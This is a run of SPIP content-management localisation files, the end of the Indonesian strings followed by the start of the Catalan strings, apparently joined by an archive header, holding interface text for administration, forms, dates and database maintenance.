'texte_multilinguisme' => 'Jika anda ingin mengelola artikel-artikel dalam beberapa bahasa, dengan navigasi yang kompleks, anda dapat menambah sebuah menu pemilih bahasa di artikel dan/atau bagian, sesuai dengan organisasi dari situs anda.', # MODIF
'texte_multilinguisme_trad' => 'Selain itu, anda juga dapat mengaktifkan sistem manajemen tautan di antara terjemahan yang berbeda dari sebuah artikel.', # MODIF
'texte_non_compresse' => '<i>tidak dikompresi</i> (server anda tidak mendukung fitur ini)',
'texte_nouveau_message' => 'Pesan baru',
'texte_nouvelle_version_spip_1' => 'Anda baru saja menginstal versi terbaru SPIP.',
'texte_nouvelle_version_spip_2' => 'Versi terbaru ini membutuhkan pembaharuan secara menyeluruh daripada biasanya. Jika anda adalah webmaster situs ini, silakan hapus berkas @connect@ dan jalankan kembali instalasi untuk memperbaharui paramater-parameter koneksi database anda. <p>(Catatan: Jika anda lupa paramater-parameter koneksi database anda, silakan lihat berkas @connect@ sebelum menghapusnya!)</p>', # MODIF
'texte_operation_echec' => 'Kembali ke halaman sebelumnya, pilih database lain atau buat yang baru. Verifikasi informasi yang diberikan oleh hosting anda.',
'texte_plus_trois_car' => 'lebih dari 3 karakter',
'texte_plusieurs_articles' => 'Sejumla penulis ditemukan untuk "@cherche_auteur@":',
'texte_port_annuaire' => '(Nilai standar dipakai pada umumnya.)',
'texte_presente_plugin' => 'Halaman ini menampilkan daftar plugin yang tersedia di situs. Aktifkan plugin yang anda butuhkan dengan memberi tanda di kotak yang bersangkutan.',
'texte_proposer_publication' => 'Ketika artikel anda selesai ditulis,<br /> anda dapat mengirimkannya untuk publikasi.',
'texte_proxy' => 'Dalam beberapa kasus (intranet, jaringan pribadi...),
<i>proxy HTTP</i> perlu digunakan untuk menjangkau situs-situs tersindikasi.
Kalau memang ada proxy, masukkan alamat di bawah,
<tt><html>http://proxy:8080</html></tt>. Pada umumnya,
anda akan membiarkan kotak ini kosong.',
'texte_publication_articles_post_dates' => 'Perilaku apa SPIP seharusnya terapkan berkaitan dengan artikel-artikel
yang publikasinya diset untuk
sebuah tanggal di masa depan?',
'texte_rappel_selection_champs' => '[Ingat untuk memilih kolom ini dengan benar.]',
'texte_recalcul_page' => 'Jika anda hanya ingin
memperbaharui satu halaman, anda sebaiknya melakukannya dari area umum dan gunakan tombol « perbaharui ».',
'texte_recapitiule_liste_documents' => 'Halaman ini menampilkan daftar dari dokumen-dokumen yang anda tempatkan di bagian-bagian. Untuk memodifikasi informasi setiap dokumen, ikuti tautan ke halaman bagiannya.',
'texte_recuperer_base' => 'Perbaiki database',
'texte_reference_mais_redirige' => 'artikel referensi di situs SPIP anda, tapi mengarah ke URL lain.',
'texte_requetes_echouent' => '<b>Wetika sejumlah query SQL gagal
secara sistematis dan tanpa alasan yang jelas, bisa jadi
permasalahannya adalah database itu sendiri.</b><p>
SQL memiliki fitur yang dapat memperbaiki tabel-tabelnya
ketika mereka secara tidak sengaja menjadi rusak.
Di sini, anda dapat mencoba melakukan perbaikan tersebut;
jika gagal, anda sebaiknya menyimpan salinan dari tampilan
yang mungkin dapat dijadikan petunjuk apa yang salah...</p><p>
Jika permasalahan ini msih berlanjut, hubungi hosting anda.</p>', # MODIF
'texte_selection_langue_principale' => 'Anda dapat memilih di bawah "bahasa utama" situs. Untungnya, pilihan ini tidak membatasi anda menulis artikel dalam bahasa yang dipilih, tapi mengizinkan anda untuk menentukan
<ul><li> format tanggal standar di situs umum</li>
<li> mesin typografis yang akan digunakan oleh SPIP untuk menghasilkan teks;</li>
<li> bahasa yang digunakan di formulir-formulir situs umum</li>
<li> bahasa standar yang ditampilkan di area pribadi.</li></ul>',
'texte_sous_titre' => 'Sub judul',
'texte_statistiques_visites' => '(balok gelap: Minggu / kurva gelap: tingkat rata-rata)',
'texte_statut_attente_validation' => 'validasi yang tertunda',
'texte_statut_publies' => 'dipublikasi online',
'texte_statut_refuses' => 'ditolak',
'texte_suppression_fichiers' => 'Gunakan perintah ini untuk menghapus semua berkas
dalam cache SPIP. Ini mengizinkan anda, antara lain, untuk memaksa semua halaman diperbaharui jika
anda memasukkan modifikasi yang penting di grafik atau struktur situs.',
'texte_sur_titre' => 'Judul atas',
'texte_table_ok' => ': tabel ini OK.',
'texte_tables_indexation_vides' => 'Tabel terindeksasi mesin kosong.',
'texte_tentative_recuperation' => 'Usaha perbaikan',
'texte_tenter_reparation' => 'Usaha untuk memperbaiki database.',
'texte_test_proxy' => 'Untuk mencoba proxy ini, masukkan alamat sebuah situs web di sini
yang ingin anda tes.',
'texte_titre_02' => 'Subyek:',
'texte_titre_obligatoire' => '<b>Judul</b> [Dibutuhkan]',
'texte_travail_article' => '@nom_auteur_modif@ telah bekerja di artikel ini @date_diff@ menit yang lalu',
'texte_travail_collaboratif' => 'Jika beberapa editor sering bekerja sama dalam artikel yang sama, sistem dapat menandai artikel-artikel yang saat itu sedang «dibuka» guna menghindari konflik saat diedit.
Opsi ini dinonaktifkan secara standar untuk menghindri pesan-pesan peringatan yang tidak perlu.',
'texte_trop_resultats_auteurs' => 'Terlalu banyak hasil untuk "@cherche_auteur@"; silakan perbaiki pencarian anda.',
'texte_unpack' => 'mengunduh versi terakhir',
'texte_utilisation_moteur_syndiques' => 'Ketika anda menggunakan mesin pencari SPIP, anda dapat melakukan pencarian di situs dan artikel yang tersindikasi dala dua cara yang berbeda. <br />- Cara termudah adalah mencari hanya di judul dan deskripsi artikel. <br />- Kedua, cara yang lebih bagus, selain di atas juga mencari dalam teks situs-situs referensi. Jika anda mereferensi sebuah situs, SPIP akan melakukan pencarian di teks situs tersebut.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Metode ini memaksa SPIP untuk mengunjungi situs-situs referensi secara teratur, yang mungkin dapat menurunkan kinerja situs anda.',
'texte_vide' => 'kosong',
'texte_vider_cache' => 'Kosongkan cache',
'titre_admin_effacer' => 'Pemeliharaan teknis',
'titre_admin_tech' => 'Pemeliharaan teknis',
'titre_admin_vider' => 'Pemeliharaan teknis',
'titre_cadre_afficher_article' => 'Tampilkan artikel:',
'titre_cadre_afficher_traductions' => 'Tampikan status terjemahan dari bahasa-bahasa berikut:',
'titre_cadre_ajouter_auteur' => 'TAMBAH SEORANG PENULIS:',
'titre_cadre_interieur_rubrique' => 'Dalam bagian',
'titre_cadre_numero_auteur' => 'NOMOR PENULIS',
'titre_cadre_signature_obligatoire' => '<b>Tanda tangan</b> [Dibutuhkan]<br />',
'titre_config_fonctions' => 'Konfigurasi situs',
'titre_configuration' => 'Konfigurasi situs',
'titre_connexion_ldap' => 'Opsi: <b>Koneksi LDAP anda</b>',
'titre_groupe_mots' => 'KELOMPOK KATA KUNCI:',
'titre_langue_article' => 'BAHASA ARTIKEL', # MODIF
'titre_langue_rubrique' => 'BAHASA BAGIAN', # MODIF
'titre_langue_trad_article' => 'BAHASA ARTIKEL DAN TERJEMAHAN',
'titre_les_articles' => 'ARTIKEL',
'titre_naviguer_dans_le_site' => 'Jelajah situs...',
'titre_nouvelle_rubrique' => 'Bagian baru',
'titre_numero_rubrique' => 'NOMOR BAGIAN:',
'titre_page_admin_effacer' => 'Pemeliharaan teknis: mengahpus database',
'titre_page_articles_edit' => 'Modifikasi: @titre@',
'titre_page_articles_page' => 'Artikel',
'titre_page_articles_tous' => 'Seluruh situs',
'titre_page_auteurs' => 'Pengunjung',
'titre_page_calendrier' => 'Kalender @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Konfigurasi situs',
'titre_page_config_fonctions' => 'Konfigurasi situs',
'titre_page_configuration' => 'Konfigurasi situs',
'titre_page_controle_petition' => 'Tindak lanjut petisi',
'titre_page_delete_all' => 'penghapusan menyeluruh dan tidak dapat dikembalikan lagi',
'titre_page_documents_liste' => 'Lampiran',
'titre_page_index' => 'Area pribadi anda',
'titre_page_message_edit' => 'Tulis sebuah pesan',
'titre_page_messagerie' => 'Sistem pesan anda',
'titre_page_recherche' => 'Hasil pencarian @recherche@',
'titre_page_statistiques_referers' => 'Statistik (tautan masuk)',
'titre_page_upgrade' => 'Pembaharuan SPIP',
'titre_publication_articles_post_dates' => 'Publikasi artikel terjadwal',
'titre_referencer_site' => 'Referensi situs:',
'titre_rendez_vous' => 'JANJI:',
'titre_reparation' => 'Perbaikan',
'titre_suivi_petition' => 'Tindak lanjut petisi',
'tls_ldap' => 'Pengamanan layer transportasi:',
'trad_article_inexistant' => 'Tidak ada artikel dengan nomor ini',
'trad_article_traduction' => 'Semua versi artikel ini:',
'trad_deja_traduit' => 'Artikel ini adalah terjemahan dari artikel yang sekarang.',
'trad_delier' => 'Berhenti menautkan artikel ini ke terjemahannya', # MODIF
'trad_lier' => 'Artikel ini adalah terjemahan dari artikel nomor:',
'trad_new' => 'Tulis terjemahan baru untuk artikel ini', # MODIF
// U
'utf8_convert_attendez' => 'Tunggu beberapa saat dan perbaharui halaman ini.',
'utf8_convert_avertissement' => 'Anda akan mengubah isi database anda (artikel, berita, dll) dari set karakter <b>@orig@</b> ke set karakter <b>@charset@</b>.',
'utf8_convert_backup' => 'Jangan lupa membuat backup lengkap situs anda terlebih dahulu. Anda juga perlu memeriksa bahawa templat dan bahasa anda kompatibel dengan @charset@.',
'utf8_convert_erreur_deja' => 'Situs anda sudah dalam @charset@, tidak ada yang perlu diubah.',
'utf8_convert_erreur_orig' => 'Kesalahan: set karakter @charset@ tidak didukung.',
'utf8_convert_termine' => 'Selesai!',
'utf8_convert_timeout' => '<b>Penting:</b> Jika server menunjukkan <i>timeout</i>, silakan perbaharui halaman di mana anda memperoleh pesan «Selesai!».',
'utf8_convert_verifier' => 'Anda sekarang harus mengosongkan cache situs dan periksa apakah semuanya baik-baik saja di halaman-halaman umum situs. Jika anda mengalami sebuah permasalahan besar, sebuah backup data asli anda (dalam format SQL) telah dibuat di direktori @rep@.',
'utf8_convertir_votre_site' => 'Ubah situs anda ke utf-8',
// V
'version' => 'Versi:'
);
?>
spip_ca.php 0000666 00000111546 15252547432 0006720 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=ca
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Català [ca]',
'0_liste' => ' spip-dev@rezo.net',
'0_mainteneur' => ' spip-dev@rezo.net',
// A
'access_interface_graphique' => 'Retorn a la interfície gràfica completa',
'access_mode_texte' => 'Mostrar la interfície en mode text simplificada',
'admin_debug' => 'depuració',
'admin_modifier_article' => 'Modificar aquest article',
'admin_modifier_auteur' => 'Modificar aquest/a autor/a',
'admin_modifier_breve' => 'Modificar aquesta breu',
'admin_modifier_mot' => 'Modificar aquesta paraula clau',
'admin_modifier_rubrique' => 'Modificar aquesta secció',
'admin_recalculer' => 'Recarregar aquesta pàgina',
'afficher_calendrier' => 'Mostrar el calendari',
'afficher_trad' => 'visualitzar les traduccions',
'alerte_maj_impossible' => '<b>Alerta !</b> L’actualització de la base de dades SQL cap a la versió @version@ és impossible. Pot ser que tingueu un problema de drets de modificació de la base de dades. Si us plau, contacteu amb el vostre proveïdor d’hostatge.',
'alerte_modif_info_concourante' => 'ATENCIÓ: Aquesta informació s’ha modificat per una altra banda. El valor actual és:',
'analyse_xml' => 'Anàlisi XML',
'annuler' => 'Anul·lar',
'antispam_champ_vide' => 'Si us plau, deixeu aquest camp buit:',
'articles_recents' => 'Els articles més recents',
'avis_archive_incorrect' => 'el fitxer no és pas un fitxer SPIP',
'avis_archive_invalide' => 'el fitxer no és pas vàlid',
'avis_attention' => 'ATENCIÓ !',
'avis_champ_incorrect_type_objet' => 'Nom de camp incorrecte @name@ per objecte del tipus @type@',
'avis_colonne_inexistante' => 'La columna @col@ no existeix pas',
'avis_erreur' => 'Error: veure ací baix',
'avis_erreur_connexion' => 'Error de connexió',
'avis_erreur_cookie' => 'problema de galeta (cookie)',
'avis_erreur_fonction_contexte' => 'Error de programació. Aquesta funció no ha de ser cridada en aquest context.',
'avis_erreur_mysql' => 'Error SQL',
'avis_erreur_sauvegarde' => ' Error al desar (@type@ @id_objet@) !',
'avis_erreur_visiteur' => 'Problema d’accés a l’espai privat',
// B
'barre_a_accent_grave' => 'Inserir una A majúscula amb accent greu',
'barre_aide' => 'Utilitzi les dreceres tipogràfiques per enriquir la seva compaginació',
'barre_e_accent_aigu' => 'Inserir una E majúscula amb accent agut',
'barre_eo' => 'Inserir una E dins la O',
'barre_eo_maj' => 'Inserir una E dins l’O majúscula',
'barre_euro' => 'Inserir el símbol €',
'barre_gras' => 'Posar en {{negreta}}',
'barre_guillemets' => 'Posar entre « cometes franceses » ',
'barre_guillemets_simples' => 'Posar entre "cometes"',
'barre_intertitre' => 'Transformar en {{{subtítol}}}',
'barre_italic' => 'Posar en {itàlica}',
'barre_lien' => 'Transformar en [enllaç->http://...]',
'barre_lien_input' => 'Indiqueu l’adreça del vostre lloc (podeu utilitzar la forma http://www.elmeulloc/com o simplement indicar el número d’un article d’aquest lloc.',
'barre_note' => 'Transformar en [[Nota a peu de pàgina]]',
'barre_paragraphe' => 'Crear un paràgraf',
'barre_quote' => '<quote>Citar un missatge</quote>',
'bouton_changer' => 'Canviar',
'bouton_chercher' => 'Buscar',
'bouton_choisir' => 'Escollir',
'bouton_deplacer' => 'Desplaçar',
'bouton_download' => 'Descarregar',
'bouton_enregistrer' => 'Enregistrar',
'bouton_radio_desactiver_messagerie_interne' => 'Desactivar la missatgeria interna',
'bouton_radio_envoi_annonces' => 'Enviar els anuncis editorials',
'bouton_radio_non_envoi_annonces' => 'No enviar anuncis',
'bouton_radio_non_envoi_liste_nouveautes' => 'No enviar la llista de novetats',
'bouton_recharger_page' => 'recarregar aquesta pàgina',
'bouton_telecharger' => 'Baixar',
'bouton_upload' => 'Baixar',
'bouton_valider' => 'Validar',
// C
'cal_apresmidi' => 'tarda',
'cal_jour_entier' => 'dia sencer',
'cal_matin' => 'matí',
'cal_par_jour' => 'calendari diari',
'cal_par_mois' => 'calendari mensual',
'cal_par_semaine' => 'calendari setmanal',
'choix_couleur_interface' => 'color',
'choix_interface' => 'elecció de la interfície',
'colonne' => 'Columna',
'confirm_changer_statut' => 'Atenció, heu demanat canviar l’estat d’aquest element. Voleu continuar? ',
'correcte' => 'correcte',
// D
'date_aujourdhui' => 'avui',
'date_avant_jc' => 'aC',
'date_dans' => 'en @delai@',
'date_de_mois_1' => '@j@ de gener',
'date_de_mois_10' => '@j@ d’octubre',
'date_de_mois_11' => '@j@ de novembre',
'date_de_mois_12' => '@j@ de desembre',
'date_de_mois_2' => '@j@ de febrer',
'date_de_mois_3' => '@j@ de març',
'date_de_mois_4' => '@j@ d’abril',
'date_de_mois_5' => '@j@ de maig',
'date_de_mois_6' => '@j@ de juny',
'date_de_mois_7' => '@j@ de juliol',
'date_de_mois_8' => '@j@ d’agost',
'date_de_mois_9' => '@j@ de setembre',
'date_demain' => 'demà',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour_heure' => '@jour@ a les @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ de @annee@',
'date_fmt_mois_annee' => '@nommois@ de @annee@',
'date_fmt_nomjour_date' => 'el @nomjour@ @date@',
'date_fmt_periode_from' => 'Del',
'date_fmt_periode_to' => 'al',
'date_heures' => 'hores',
'date_hier' => 'ahir',
'date_il_y_a' => 'fa @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'diumenge',
'date_jour_1_abbr' => 'dg.',
'date_jour_1_initiale' => 'dg',
'date_jour_2' => 'dilluns',
'date_jour_2_abbr' => 'dl.',
'date_jour_2_initiale' => 'dl',
'date_jour_3' => 'dimarts',
'date_jour_3_abbr' => 'dt.',
'date_jour_3_initiale' => 'dt',
'date_jour_4' => 'dimecres',
'date_jour_4_abbr' => 'dc.',
'date_jour_4_initiale' => 'dc',
'date_jour_5' => 'dijous',
'date_jour_5_abbr' => 'dj.',
'date_jour_5_initiale' => 'dj',
'date_jour_6' => 'divendres',
'date_jour_6_abbr' => 'dv.',
'date_jour_6_initiale' => 'dv',
'date_jour_7' => 'dissabte',
'date_jour_7_abbr' => 'ds.',
'date_jour_7_initiale' => 'ds',
'date_jours' => 'dies',
'date_minutes' => 'minuts',
'date_mois' => 'mes',
'date_mois_1' => 'gener',
'date_mois_10' => 'octubre',
'date_mois_10_abbr' => 'oct.',
'date_mois_11' => 'novembre',
'date_mois_11_abbr' => 'nov.',
'date_mois_12' => 'desembre',
'date_mois_12_abbr' => 'des.',
'date_mois_1_abbr' => 'gen.',
'date_mois_2' => 'febrer',
'date_mois_2_abbr' => 'febr.',
'date_mois_3' => 'març',
'date_mois_3_abbr' => 'març',
'date_mois_4' => 'abril',
'date_mois_4_abbr' => 'abr.',
'date_mois_5' => 'maig',
'date_mois_5_abbr' => 'maig',
'date_mois_6' => 'juny',
'date_mois_6_abbr' => 'juny',
'date_mois_7' => 'juliol',
'date_mois_7_abbr' => 'jul.',
'date_mois_8' => 'agost',
'date_mois_8_abbr' => 'agost',
'date_mois_9' => 'setembre',
'date_mois_9_abbr' => 'set.',
'date_saison_1' => 'hivern',
'date_saison_2' => 'primavera',
'date_saison_3' => 'estiu',
'date_saison_4' => 'tardor',
'date_secondes' => 'segons',
'date_semaines' => 'setmanes',
'date_un_mois' => 'mes',
'date_une_heure' => 'hora',
'date_une_minute' => 'minut',
'date_une_seconde' => 'segon',
'date_une_semaine' => 'setmana',
'dirs_commencer' => 'per començar realment la instal·lació',
'dirs_preliminaire' => 'Preliminar: <b>Regular els drets d’accés</b>',
'dirs_probleme_droits' => 'Problema de drets d’accés',
'dirs_repertoires_absents' => '<p><b>No s’han trobat els següents directoris: </b></p><ul>@bad_dirs@</ul> <p>És probable que la causa sigui un problema d’escriptura de les majúscules o les minúscules.
Verifiqueu que les minúscules i les majúscules d’aquests directoris coincideixin exactament amb el que es mostra més amunt; si aquest no és el cas, canvieu el nom dels directoris amb l’ajuda del vostre programa FTP per tal de corregir l’error.</p>
<p>Un cop feta aquesta manipulació, podreu ',
'dirs_repertoires_suivants' => '<p><b>Els següents directoris no són accessibles a l’escriptura:</b></p> <ul>@bad_dirs@</ul>
<p>Per solucionar-ho, feu servir el vostre client FTP per tal de regular els drets d’accés de cadascun d’aquests directoris. El procediment s’explica detalladament a la guia d’instal·lació.</p>
<p>Un cop feta aquesta manipulació, podreu ',
'double_occurrence' => 'Doble instància de @balise@ ',
// E
'en_cours' => 'en curs',
'envoi_via_le_site' => 'Enviament per mitjà del lloc Web',
'erreur' => 'Error',
'erreur_balise_non_fermee' => 'última etiqueta sense tancar:',
'erreur_texte' => 'error(s)',
'etape' => 'Etapa',
// F
'fichier_introuvable' => 'Fitxer @fichier@ introbable',
'form_auteur_confirmation' => 'Confirmeu el vostre correu electrònic',
'form_auteur_email_modifie' => 'El vostre correu electrònic s’ha modificat.',
'form_auteur_envoi_mail_confirmation' => 'Us acabem d’enviar un correu electrònic de confirmació a @email@. Per validar la vostra adreça de correu electrònic, haureu de visitar l’adreça Web esmentada en aquest correu.',
'form_auteur_mail_confirmation' => 'Bon dia,
Heu demanat canviar la vostra adreça electrònica.
Per confirmar la nova adreça, només heu de connectar-vos a l’adreça que hi ha més avall (de no fer-ho així, la vostra petició s’ignorarà):
@url@
',
'form_deja_inscrit' => 'Ja estàs inscrit/a.',
'form_email_non_valide' => 'La seva adreça electrònica no ha estat validada.',
'form_forum_access_refuse' => 'No teniu accés a aquest lloc.',
'form_forum_bonjour' => 'Bon dia @nom@,',
'form_forum_confirmer_email' => 'Per confirmar la vostra adreça de correu electrònic, dirigiu-vos a aquesta adreça: @url_confirm@',
'form_forum_email_deja_enregistre' => 'Aquesta adreça electrònica ja ha estat enregistrada, podeu utilitzar la vostra contrasenya habitual. ',
'form_forum_identifiant_mail' => 'La identificació us ha estat enviada per correu electrònic. ',
'form_forum_identifiants' => 'Identificadors personals',
'form_forum_indiquer_nom_email' => 'Indiqueu aquí el vostre nom i la vostra adreça electrònica. L’identificador personal us serà enviat, ben aviat, per correu electrònic.',
'form_forum_login' => 'Usuari:',
'form_forum_message_auto' => '(això és un missatge automàtic)',
'form_forum_pass' => 'contrasenya:',
'form_forum_probleme_mail' => 'Problema d’adreça electrònica: l’identificador no es pot enviar.',
'form_forum_voici1' => 'Aquí teniu els identificadors per poder participar als fòrums del lloc Web "@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Aquests són els identificadors per poder proposar articles en aquest lloc
"@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Indiqueu la vostra adreça electrònica.',
'form_indiquer_nom' => 'Indiqueu el vostre nom.',
'form_indiquer_nom_site' => 'Indiqueu el nom del vostre lloc.',
'form_pet_deja_enregistre' => 'Aquest lloc ja està registrat.',
'form_pet_signature_pasprise' => 'La seva signatura no s’ha tingut en compte.',
'form_prop_confirmer_envoi' => 'Confirmar l’enviament',
'form_prop_description' => 'Descripció/commentari',
'form_prop_enregistre' => 'La seva proposta ha estat registrada, apareixerà en línia després de ser validada pels responsables d’aquest lloc.',
'form_prop_envoyer' => 'Enviar un missatge',
'form_prop_indiquer_email' => 'Indiqueu una adreça electrònica vàlida',
'form_prop_indiquer_nom_site' => 'Indiqueu el nom del lloc.',
'form_prop_indiquer_sujet' => 'Indiqueu un assumpte',
'form_prop_message_envoye' => 'Missatge enviat',
'form_prop_non_enregistre' => 'La seva proposta no ha estat registrada.',
'form_prop_sujet' => 'Assumpte:',
'form_prop_url_site' => 'Adreça URL del lloc',
'forum_non_inscrit' => 'No esteu inscrit o bé l’adreça o la contrasenya són errònies. ',
'forum_par_auteur' => 'per @auteur@',
'forum_titre_erreur' => 'Error...',
// I
'ical_texte_rss_articles' => 'El fitxer «backend» dels articles d’aquest lloc es troba a l’adreça:',
'ical_texte_rss_articles2' => 'Podeu igualment obtenir fitxers «backend» pels articles de cada secció d’aquest lloc:',
'ical_texte_rss_breves' => 'Existeix també un fitxer que conté les breus del lloc. Especificant el número de secció, es poden obtenir únicament les breus d’aquesta.',
'icone_a_suivre' => 'Novetats',
'icone_admin_site' => 'Administració del lloc',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Ajuda',
'icone_articles' => 'Articles',
'icone_auteurs' => 'Autors/es',
'icone_brouteur' => 'Navegació ràpida',
'icone_configuration_site' => 'Configuració',
'icone_configurer_site' => 'Configurar el vostre lloc',
'icone_creer_nouvel_auteur' => 'Crear un nou autor o autora',
'icone_creer_rubrique' => 'Crear una secció',
'icone_creer_sous_rubrique' => 'Crear una subsecció',
'icone_deconnecter' => 'Desconnectar-se',
'icone_discussions' => 'Discussions',
'icone_doc_rubrique' => 'Documents de les seccions',
'icone_ecrire_article' => 'Escriure un nou article',
'icone_edition_site' => 'Edició',
'icone_gestion_langues' => 'Gestió de les llengües',
'icone_informations_personnelles' => 'Informacions personals',
'icone_interface_complet' => 'interfície completa',
'icone_interface_simple' => 'Interfície simple',
'icone_maintenance_site' => 'Manteniment del lloc',
'icone_messagerie_personnelle' => 'Missatgeria personal',
'icone_repartition_debut' => 'Mostrar la distribució des del començament',
'icone_rubriques' => 'Seccions',
'icone_sauver_site' => 'Còpia de seguretat del lloc',
'icone_site_entier' => 'Tot el lloc',
'icone_sites_references' => 'Llocs referenciats',
'icone_statistiques' => 'Estadístiques del lloc',
'icone_suivi_activite' => 'Seguir la vida del lloc',
'icone_suivi_actualite' => 'Evolució del lloc',
'icone_suivi_pettions' => 'Seguir/gestionar les peticions',
'icone_suivi_revisions' => 'Modificacions dels articles ',
'icone_supprimer_document' => 'Suprimir aquest document',
'icone_supprimer_image' => 'Suprimir aquesta imatge',
'icone_tous_articles' => 'Tots els seus articles',
'icone_tous_auteur' => 'Tots els autors i autores',
'icone_tous_visiteur' => 'Tots els visitants',
'icone_visiter_site' => 'Veure el lloc públic',
'icone_voir_en_ligne' => 'Visualitzar en línia',
'img_indisponible' => 'imatge no disponible',
'impossible' => 'impossible',
'info_a_suivre' => 'NOVETATS»',
'info_acces_interdit' => 'Accés prohibit',
'info_acces_refuse' => 'Accés refusat',
'info_action' => 'Acció: @action@',
'info_administrer_rubriques' => 'Podeu administrat aquesta secció i les seves subseccions',
'info_adresse_non_indiquee' => 'No heu indicat cap adreça per provar!',
'info_aide' => 'AJUDA:',
'info_ajouter_mot' => 'Afegir aquesta paraula',
'info_annonce' => 'ANUNCI',
'info_annonces_generales' => 'Avisos generals:',
'info_article_propose' => 'Article proposat',
'info_article_publie' => 'Article publicat',
'info_article_redaction' => 'Article en curs de redacció',
'info_article_refuse' => 'Article rebutjat',
'info_article_supprime' => 'Article suprimit',
'info_articles' => 'Articles',
'info_articles_a_valider' => 'Articles per validar',
'info_articles_nb' => '@nb@ articles',
'info_articles_proposes' => 'Articles proposats',
'info_articles_un' => '1 article',
'info_auteurs_nombre' => 'autor(s)/es:',
'info_authentification_ftp' => 'Autenticació (per FTP).',
'info_breves_2' => 'breus',
'info_breves_nb' => '@nb@ breus',
'info_breves_un' => '1 breu',
'info_connexion_refusee' => 'Connexió denegada',
'info_contact_developpeur' => 'Contacteu amb un desenvolupador.',
'info_contenance' => 'Aquest lloc conté:',
'info_contribution' => 'contribucions',
'info_copyright' => '@spip@ és programari lliure distribuït @lien_gpl@.',
'info_copyright_doc' => 'Per a més informació, veure el lloc <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'sota llicència GPL',
'info_cours_edition' => 'Els vostres articles en procés de redacció',
'info_creer_repertoire' => 'Creeu un fitxer o un directori anomenat:',
'info_creer_repertoire_2' => 'a l’interior del subdirectori <b>@repertoire@</b>, després:',
'info_creer_vignette' => 'creació automàtica de la miniatura',
'info_deplier' => 'Desplegar',
'info_descriptif_nombre' => 'descripció(ns):',
'info_description' => 'Descripció:',
'info_description_2' => 'Descripció:',
'info_dimension' => 'Mida:',
'info_documents_nb' => '@nb@ documents',
'info_documents_un' => '1 document',
'info_ecire_message_prive' => 'Escriure un missatge privat',
'info_email_invalide' => 'L’adreça electrònica no és vàlida.',
'info_en_cours_validation' => 'Articles en procés de redacció',
'info_en_ligne' => 'Actualment en línia:',
'info_envoyer_message_prive' => 'Enviar un missatge privat a aquest/a autor/a',
'info_erreur_requete' => 'Error en la petició:',
'info_erreur_squelette2' => 'No hi ha cap esquelet <b>@fichier@</b> que estigui disponible...',
'info_erreur_systeme' => 'Error del sistema (errno @errsys@)',
'info_erreur_systeme2' => 'És probable que el disc dur estigui ple, o la base de dades feta malbé.<br />
<span style="color:red;">Proveu de <a href=\'@script@\'>reparar la base</a>, o contacteu amb el vostre hostatjador.</span>',
'info_fini' => 'S’ha acabat! ',
'info_format_image' => 'Formats d’imatges que es poden fer servir per crear vinyetes: @gd_formats@.',
'info_format_non_defini' => 'format no definit',
'info_grand_ecran' => 'Pantalla gran',
'info_image_aide' => 'AJUDA',
'info_image_process_titre' => 'Mètode de fabricació de miniatures',
'info_impossible_lire_page' => '<b>Error!</b> Impossible llegir la pàgina <tt><html>@test_proxy@</html></tt> per mitjà del proxy',
'info_installation_systeme_publication' => 'Instal·lació del sistema de publicació...',
'info_installer_documents' => 'Podeu instal·lar automàticament tots els documents que hi ha dins la carpeta @upload@.',
'info_installer_ftp' => 'En tan que administrador, podeu instal·lar (per FTP) els fitxers a la carpeta @upload@ per a continuació seleccionar-los directament aquí.',
'info_installer_images' => 'Podeu instal·lar imatges amb els formats JPEG, GIF i PNG.',
'info_installer_images_dossier' => 'Instal·lar imatges a la carpeta @upload@ per poder-les seleccionar aquí.',
'info_interface_complete' => 'interfície completa',
'info_interface_simple' => 'Interfície simple',
'info_joindre_document_article' => 'Podeu adjuntar a aquest article documents del tipus ',
'info_joindre_document_rubrique' => 'Podeu adjuntar en aquesta secció documents del tipus ',
'info_joindre_documents_article' => 'Poden adjuntar al vostre article documents del tipus:',
'info_l_article' => 'l’article',
'info_la_breve' => 'la breu',
'info_la_rubrique' => 'la secció',
'info_langue_principale' => 'Idioma principal del lloc',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ píxels',
'info_les_auteurs_1' => 'per @les_auteurs@',
'info_logo_format_interdit' => 'Només els logotips amb formats @formats@ estan autoritzats.',
'info_logo_max_poids' => 'Els logotips han de fer obligatòriament menys de @maxi@ (aquest fitxer fa @actuel@).',
'info_mail_fournisseur' => 'elteu@proveidor.com',
'info_message_2' => 'MISSATGE',
'info_message_supprime' => 'MISSATGE SUPRIMIT',
'info_messages_nb' => '@nb@ missatges',
'info_messages_un' => '1 missatge',
'info_mise_en_ligne' => 'Data de publicació:',
'info_modification_parametres_securite' => 'modificacions dels paràmetres de seguretat',
'info_mois_courant' => 'Durant aquest mes:',
'info_mot_cle_ajoute' => 'La paraula clau següent ha estat afegida',
